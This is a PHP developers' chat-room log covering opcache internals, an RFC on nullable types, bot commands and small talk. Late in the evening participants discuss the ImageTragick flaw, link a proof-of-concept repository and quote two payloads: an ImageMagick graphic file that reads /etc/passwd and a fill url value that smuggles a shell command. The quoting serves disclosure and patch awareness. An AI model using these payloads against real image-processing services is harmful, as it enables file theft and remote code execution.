« first day (2027 days earlier)      last day (2921 days later) » 

6:01 PM
/me goes out, later
 
later
 
@NikiC uuuh … op_arrays pointers are copied at the HashTable level in opcache and that's already it? … lxr.php.net/xref/PHP_MASTER/ext/opcache/… … I'm just confused as to how this actually allows op_array->static_variables = zend_array_dup(op_array->static_variables); without breaking shm??
 
my internet connection is going south. facebook and gmail completely refuse to talk with me
 
or where are the op_array contents actually copied?
 
I'm not sure what I'm looking for, I want to have a system where I can select items from dropdowns which builds conditional logic for jobs (e.g. cron) So for e.g. [if] customer->status == 'confirmed' [send] [confirmed email]
 
6:12 PM
@NikiC At least, the HashTable itself must be currently modifiable at runtime [for normal functions at least; Closures do op_array copies…] … I'm confused
it's somehow related to arena_mem… but whut…
 
lol
what was I expecting
 
@AnmolRaghuvanshiVersion2.0 Only 1 days, 5 hours and 40 minutes left until Rebeccaday, OMG!
 
@FélixGagnon-Grenier The forum is filled with people confused why that comic is what it is :P
 
6:20 PM
@NikiC oh got it … we're copying op_arrays into arena_mem and then doing a quick memcpy() on the whole arena_mem on each run into CG(arena) … Okay, that makes everything much simpler… then I can just alloc static_variables on arena…
 
hue hue hue
 
@Andrea at this point I am denying all knowledge.
 
@Danack Right, he knew the vulnerability all the time and was paid by GHCQ to shut up.
 
@bwoebi Did you have a chance to work on the casting callable RFC?
 
@Danack planned to do it the weekend
 
6:26 PM
(for the record, I am surprised that the vulnerability is so easy to exploit, not that it exists).
 
@Saitama you remember an xkcd which resulted in a forum link by any chance?
 
Cool - it would be good to have something before someone else rushes to vote after the minimum discussion period.
 
@Danack When there is a vulnerability at all, I'm usually surprised when it's not exploitable.
Ugh … using arena_mem also means I still need to update pointers :x
 
@bwoebi Usually hard to exploit though
 
@NikiC best approach for copying statics should be maintaining a simple array of arena-offsets which I need to update to another arena-offset, right?
 
6:38 PM
Don't ask me...
 
(that way, if there's no statics in file, no overhead at all)
(instead of expensive memory fetches (from L3 in worst case :x) upon every op_array insertion into function table)
though… memory of IS_REFERENCE must be emalloc()'ed, right?
@NikiC no way to make that immutable?
 
immutable reference sounds like a contradiction in terms...
You can't really separate a reference. That's the point of the reference.
 
@NikiC point is, the reference will be in CG(arena) memory
 
Ah
 
question is whether that's a big problem
 
6:44 PM
I'm not familiar with how the CG(arena) stuff works
 
@NikiC the only important thing is: you cannot efree() in the middle of CG(arena)
(where the IS_REFERENCE is stored)
… I guess I could make the IS_REFERENCE refcount == 2
and then check it's contents at script end
 
> Hey kids! The word of the day is "immature"! Let's spell it together, ready? N! O! D! E! J! S! Immature!
 
Yay! I'm famous!
 
:P
 
6:58 PM
mornnnin
 
hey @PaulCrovella
 
Night
!!xkcd php
 
!!xkcd php resulted in a forum link earlier
 
Awesome. tnx
 
7:04 PM
Did you fix it?
Ofc you did :P
 
I check the first 10 google results for comics now and fail with the above otherwise
 
Oh I like it
!!xkcd Google
 
Lol
!!chuck
 
When Chuck Norris is in a crowded area, he doesn't walk around people. He walks through them.
 
7:07 PM
@Jeeves hehe
 
Anyways see ya guys later
 
later
 
I would manage to get, now, 3 hours of sleep. And then again I have wake up, for school
 
We have a day off tomorrow :-)
 
Whyyyy?
 
7:10 PM
@Andrea \o/ After looking around I found my PHP\Collections extension thingey I started work on.
 
@LeviMorrison ooh
 
It's not perfectly up-to-date but it's generally PHP 7 compatible and shows how to hook up objects, methods, etc.
 
:(
 
7:30 PM
@PeeHaa Could you pull and deploy?
 
done
 
!!xkcd php
 
:-(
!!version
 
7:32 PM
@PeeHaa "Thanks for the report, I'll try to reach out to someone there to get this clarified." - response from bluefeet about that bluemix thing.
 
:)
@kelunik what are you trying to do?
 
@PeeHaa Better search results that show more / only comics.
 
ah :)
 
Next try, fucked the URL encoding up, directly copied it from the browser and committed on GitHub. :P
 
I was just about to say that
Seems like everybody has encoding issues today
hit it
 
7:37 PM
!!xkcd php
 
How is THAT comic tagged php?
 
Maybe because it's in the manual?
 
Yeah think so
 
!!docs goto
 
7:38 PM
[ goto ]
 
@Jeeves Helpful text. :P
 
Yes, I know PHP has goto, I helped put it there.
But that comic wasn't aimed at PHP.
 
@Sara It uses google to find comics
Not sure why it's in the results though
 
!!help
 
♬ I need somebody ♬
 
7:43 PM
@PeeHaa Other results: google.com/…
 
@NikiC I slowly get that feeling to understand opcache a little bit…
 
Aaaaaaaand segfault
 
@PeeHaa segfault? I'm happy to debug :-P
 
:P Sorry opcache doesn't crashnburn as often anymore like it used to do
 
oh, no
not an opcache segfault related to shared mem
I mean … I understand a little bit how opcache works, on top of shared memory … not how the shared memory management layer itself works ^^
 
7:53 PM
@DaveRandom You broke the build, Travis spams me now: travis-ci.org/Room-11/Jeeves/builds/127883009
 
He pushed a lcok file without dev
let me fix
 
8:46 PM
\o/ removed windows completely
 
Wes
replaced with pictures? how do you get the air? with air tanks? :B
mornings
 
:p
just installed arch
and mornin Wes
 
Ekn
o/
 
Wes
"completely" never worked for me. there is always a reason to hate linux
 
8:58 PM
is there anyone familiar with jenkins? there should be an usual way to manage app configuration (db credentials, some api tokens and so on) with jenkins for delivery/deployment?
 
Wes
9:18 PM
@PeeHaa the 100 is awesome, actually :B got completely sucked in, so far it's been great
 
A linux sysadmin walks into a pharmacy. "ephedrine?" "I can't serve you that." "sudoephedrine" "There you go"
 
@Wes After two seasons I'm hoping the third season will be a bit different
 
Wes
again, it's totally battlestar galactica, game of thrones, etc, but works
the third season is very battlestar galactica & game of thrones, less losty, maze runnery etc :B
i am at half of it though, will watch remaining episodes today evening
 
season 3 is still in progress right?
 
Wes
yes
 
9:30 PM
Yeah I'll wait. I hate having to cold turkey mid season
 
Wes
:B
 
@PeeHaa good attitude … I hate it too…
 
Wes
seasons end anyway with cliffhangers... you are just delaying
 
That's totally annoying indeed :)
 
@Wes oh, well… seasons
I thought we were talking about the whole series
 
9:34 PM
I tried to wait with GOT, but couldn't wait until after season 10 it ended :P
 
Wes
lol, i don't think the whole series will end soon. they will easily do at least 3 more seasons, probably more, imho
and... you don't want to wait 3 more years to watch this :B
 
Nope
 
Wes
the problem with GOT is that between a season and the other you forget like 2/3 of the 219,192,912 main characters
which is the reason i stopped with GOT, i realized i couldn't understand none of it, so i need to start over again :B
 
and it takes 6 episodes to move 20 plots forward an inch
 
Wes
lol yeah
 
9:38 PM
also the dorne plot needs to die in a fire
 
@PeeHaa /me still is waiting ^^
 
Phew, it was painful but I PHP 5.3-proofed my Option class.
 
@Wes easy solution: read the damn books… you'll know the characters then…
 
@Wes That's fine. Most of them die anyway
:D
 
hah
 
Wes
9:40 PM
lol
 
We are going to migrate to PHP 5.6 in a month or so but I can't bear to go without it for that long, so I went with PHP 5.3 compat.
 
but is still a very good show.. when a mother and infant being fed alive to a pack of dogs is the least memorable thing about an episode, you know some shit went down
 
@bwoebi You are better than me
 
I hate writing code I hate.
I'm seriously going to rely on zval.u2 :x
 
@LeviMorrison :( You can't go with 7?
 
Ekn
9:41 PM
heh
 
libraries?
 
@PeeHaa Ha! Nope. We have third-party code that warns like crazy on PHP 5.6 and breaks on 7.
We are also working on migrating off those but these things take time ^_^
 
:'(
@LeviMorrison Yep they sure do sadly
 
Also, HHVM 3.12 breaks on that. I wonder if it is intentional.
 
@kelunik sorry, I'm so used to typing composer install --no-dev at work that I did in when I updated the deps :-(
And regards the HttpClient thing, I'm going to go through the whole codebase and normalise imports and aliases tomorrow
but now I'm going to bed, nn @all
 
9:50 PM
Night @DaveRandom o/ Don't forget to pull tomorrow before you do :)
 
10:02 PM
Why do I get the great ideas only very lately? :x
I was puzzled for like an hour how to solve the fact that data is allocated in arena with opcache and via emalloc() in normal runs … trivial solution … allocate the data in arena too in normal runs …
 
@LeviMorrison I remember seeing a bug report about that
@bwoebi Don't worry, I just spent two hours writing a single line bug fix
 
17 files changed, 246 insertions(+), 195 deletions(-) … the product of uhm… 9 hours coding?
 
@NikiC Earlier today, I spent 10 seconds writing a 2 character fix for a bug someone else had spent 4-5 hours bashing their heads against.
 
Think I'm going to be finished in ~2 hours
 
Don't let Java devs do JavaScript.
 
10:08 PM
(That is, I think one hour is fine, but I cautiously double the time I guess)
 
@MadaraUchiha Clearly you're a 1440x programmer :P
 
haha
 
I.... did not get that.
 
Ekn
I spent around 6hrs testing ios & android versions of 2apps today... plus I haven't slept a wink again so I'm guessing I've been doing "this" for at least 24hrs...I honestly hate mobiles now.
But... In a few more hrs I will have two projects done :p
 
ImageTragick POCs https://github.com/ImageTragick/PoCs
@Ekn Early gratz for getting the projects done....and maybe outsource that testing....
 
10:19 PM
@MadaraUchiha 10 seconds * 1440 = 14400 seconds = 4 hours
 
I miscalculated. It's late. I'm off to bed now
 
> It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
 
@Danack they weren't kidding when they said "trivial"
 
> produces file with text rendered from /etc/passwd
 
ffs - fill 'url(https://127.0.0.0/oops.jpg"|touch "rce1)'
 
10:25 PM
@Danack Holy fuck
 
4 hours ago, by Danack
(for the record, I am surprised that the vulnerability is so easy to exploit, not that it exists).
 
@NikiC What exactly is the purpose of that op_array copy in do_bind_function?
 
10:47 PM
@NikiC Turns out to be related to how scope is evaluated in eval'd code.
Moving away from self fixed it.
 
11:07 PM
@bwoebi Look good?
 
@LeviMorrison just show that the code can be fixed with array|null $bar = []
you say breaks, but don't show the fix for it… that's bad.
@Levi also, please remove that open issue … at least at the stage where we are now (shortly before vote I guess)
 
I posted wrong code sample.
Fixing.
 
everyone patch their ImageMagick?
 
@bwoebi Done, and the BC section has been expanded. Look good?
 
@LeviMorrison yip :-)
I am slightly amused how we're doing a tiny step towards co-&contravariance
(aka null isn't invariant)
 
11:19 PM
@Danack how's the gmagick extension looking these days? I'm guessing there'll be some folk looking to it
 
11:35 PM
time for first compile after 10 hours … first fixing typical typos :x
 
Wes
i love how sometimes i run tests to test my tests [xzibit_meme.jpg] ie, i'm pretty confident everything works, so i'm using other tests to test additional tests i'm writing :B [xzibit_meme_again_because_1_wasnt_enough.jpg]
 
sometimes I wonder why the stupid compiler isn't just entering interactive mode and asking me whether he shall fix it… He usually knows my typos (one letter mistake, a semicolon forgotten etc.)
 
11:58 PM
~/php-src-7.0/sapi/cli/php -r '$f = function () { static $bar = FOO; }; const FOO = 1; var_dump($f);'
object(Closure)#1 (1) {
  ["static"]=>
  array(1) {
    ["bar"]=>
    UNKNOWN:0
  }
}
I love these tiny bugs
 

« first day (2027 days earlier)      last day (2921 days later) »